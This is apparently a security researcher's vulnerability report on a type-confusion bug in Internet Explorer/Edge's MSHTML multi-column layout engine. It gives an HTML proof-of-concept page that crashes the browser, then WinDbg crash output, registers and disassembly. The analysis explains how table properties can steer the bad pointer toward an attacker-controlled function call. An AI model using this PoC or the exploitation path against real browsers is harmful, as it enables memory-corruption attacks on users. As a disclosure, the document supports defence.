PoC:
```
<!-- saved from url=(0014)about:internet -->
<style>
.class1 { float: left; column-count: 5; }
.class2 { column-span: all; columns: 1px; }
table {border-spacing: 0px;}
</style>
<script>
function boom() {
document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa";
th1.align = "right";
}
</script>
<body onload="setInterval(boom,100)">
<table cellspacing="0">
<tr class="class1">
<th id="th1" colspan="5" width=0></th>
<th class="class2" width=0><div class="class2"></div></th>
```
Note: The analysis below is based on an 64-bit IE (running in single process mode) running on Windows Server 2012 R2. Microsoft Symbol Server has been down for several days and that's the only configuration for which I had up-to-date symbols. However Microsoft Edge and 32-bit IE 11 should behave similarly.
The PoC crashes in
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement
when reading from address 0000007800000070
```
(5fc.8a4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xa4:
00007ffe`8f330a59 48833800 cmp qword ptr [rax],0 ds:00000078`00000070=????????????????
With the following call stack:
Child-SP RetAddr Call Site
00000071`0e75b960 00007ffe`8f3f1836 MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xa4
00000071`0e75b9c0 00007ffe`8e9ba9df MSHTML!`CBackgroundInfo::Property<CBackgroundImage>'::`7'::`dynamic atexit destructor for 'fieldDefaultValue''+0x641fc
00000071`0e75ba50 00007ffe`8f05393f MSHTML!Layout::FlowBoxBuilder::MoveToNextPosition+0x1b5
00000071`0e75bb10 00007ffe`8f0537e9 MSHTML!Layout::LayoutBuilder::EnterBlock+0x147
00000071`0e75bbb0 00007ffe`8f278243 MSHTML!Layout::LayoutBuilder::Move+0x77
00000071`0e75bbe0 00007ffe`8e9b364f MSHTML!Layout::LayoutBuilderDriver::BuildPageLayout+0x19d
00000071`0e75bcc0 00007ffe`8e9b239c MSHTML!Layout::PageCollection::FormatPage+0x1f3
00000071`0e75be60 00007ffe`8e9affd1 MSHTML!Layout::PageCollection::LayoutPagesCore+0x38c
00000071`0e75c030 00007ffe`8e9b099b MSHTML!Layout::PageCollection::LayoutPages+0x102
00000071`0e75c090 00007ffe`8e9aff45 MSHTML!CMarkupPageLayout::CalcPageLayoutSize+0x50b
00000071`0e75c220 00007ffe`8ea74047 MSHTML!CMarkupPageLayout::CalcTopLayoutSize+0xd5
00000071`0e75c2f0 00007ffe`8ea73c95 MSHTML!CMarkupPageLayout::DoLayout+0xf7
00000071`0e75c360 00007ffe`8e98066d MSHTML!CView::ExecuteLayoutTasks+0x17c
00000071`0e75c3f0 00007ffe`8e983b7a MSHTML!CView::EnsureView+0x43f
00000071`0e75c4d0 00007ffe`8e97f82b MSHTML!CPaintController::EnsureView+0x58
00000071`0e75c500 00007ffe`8ea2e47e MSHTML!CPaintBeat::OnBeat+0x41b
00000071`0e75c580 00007ffe`8ea2e414 MSHTML!CPaintBeat::OnPaintTimer+0x5a
00000071`0e75c5b0 00007ffe`8f2765dc MSHTML!CContainedTimerSink<CPaintBeat>::OnTimerMethodCall+0xdb
00000071`0e75c5e0 00007ffe`8e969d52 MSHTML!GlobalWndOnPaintPriorityMethodCall+0x1f7
00000071`0e75c690 00007ffe`afc13fe0 MSHTML!GlobalWndProc+0x1b8
00000071`0e75c710 00007ffe`afc13af2 USER32!UserCallWinProcCheckWow+0x1be
00000071`0e75c7e0 00007ffe`afc13bbe USER32!DispatchClientMessage+0xa2
00000071`0e75c840 00007ffe`b2352524 USER32!_fnDWORD+0x3e
00000071`0e75c8a0 00007ffe`afc1cfaa ntdll!KiUserCallbackDispatcherContinue
00000071`0e75c928 00007ffe`afc1cfbc USER32!ZwUserDispatchMessage+0xa
00000071`0e75c930 00007ffe`95d1bb28 USER32!DispatchMessageWorker+0x2ac
00000071`0e75c9b0 00007ffe`95d324cb IEFRAME!CTabWindow::_TabWindowThreadProc+0x555
00000071`0e75fc30 00007ffe`aa81572f IEFRAME!LCIETab_ThreadProc+0x3a3
00000071`0e75fd60 00007ffe`9594925f iertutil!Microsoft::WRL::ActivationFactory<Microsoft::WRL::Implements<Microsoft::WRL::FtmBase,Windows::Foundation::IUriRuntimeClassFactory,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil>,Windows::Foundation::IUriEscapeStatics,Microsoft::WRL::Details::Nil,0>::GetTrustLevel+0x5f
00000071`0e75fd90 00007ffe`b1d313d2 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x9f
00000071`0e75fde0 00007ffe`b22d54e4 KERNEL32!BaseThreadInitThunk+0x22
00000071`0e75fe10 00000000`00000000 ntdll!RtlUserThreadStart+0x34
```
And the following register values:
```
rax=0000007800000070 rbx=0000000000000064 rcx=0000007800000050
rdx=0000000000000048 rsi=00000079164a8f01 rdi=00007ffe8f9f81b0
rip=00007ffe8f330a59 rsp=000000710e75b960 rbp=0000007916492fe8
r8=0000007916490ec0 r9=000000710e75b980 r10=00000079164a8f30
r11=000000710e75b928 r12=000000710e75c000 r13=0000007916450fc8
r14=000000791648ec60 r15=0000007911ec9f50
```
Edge should crash when reading the same address while 32-bit IE tab process should crash in the same place but when reading a lower address.
Let's take a look at the code around the rip of the crash.
```
00007ffe`8f330a51 488bcd mov rcx,rbp
00007ffe`8f330a54 e8873c64ff call MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable (00007ffe`8e9746e0)
00007ffe`8f330a59 48833800 cmp qword ptr [rax],0 ds:00000078`00000070=????????????????
00007ffe`8f330a5d 743d je MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xe7 (00007ffe`8f330a9c)
00007ffe`8f330a5f 488bcd mov rcx,rbp
00007ffe`8f330a62 e8793c64ff call MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable (00007ffe`8e9746e0)
00007ffe`8f330a67 488b30 mov rsi,qword ptr [rax]
00007ffe`8f330a6a 488b06 mov rax,qword ptr [rsi]
00007ffe`8f330a6d 488bb848030000 mov rdi,qword ptr [rax+348h]
00007ffe`8f330a74 488bcf mov rcx,rdi
00007ffe`8f330a77 ff155b95d700 call qword ptr [MSHTML!_guard_check_icall_fptr (00007ffe`900a9fd8)]
00007ffe`8f330a7d 488bce mov rcx,rsi
00007ffe`8f330a80 ffd7 call rdi
```
On 00007ffe`8f330a51 rxc is read from rbp and MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable is called which sets up rax. rcx is supposed to point to another object type, but in the PoC it points to an array of 32-bit integers allocated in Array<Math::SLayoutMeasure>::Create. This array stores offsets of table columns and the values can be controlled by an attacker (with some limitations).
On 00007ffe`8f330a59 the crash occurs because rax points to uninitialized memory.
However, an attacker can affect rax by modifying table properties such as border-spacing and the width of the firs th element. Let's see what happens if an attacker can point rax to the memory he/she controls.
Assuming an attacker can pass a check on line
```00007ffe\`8f330a59, MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable``` is called again with the same arguments. After that, through a series of dereferences starting from rax, a function pointer is obtained and stored in rdi. A CFG check is made on that function pointer and, assuming it passes, the attacker-controlled function pointer is called on line ```00007ffe`8f330a80```.
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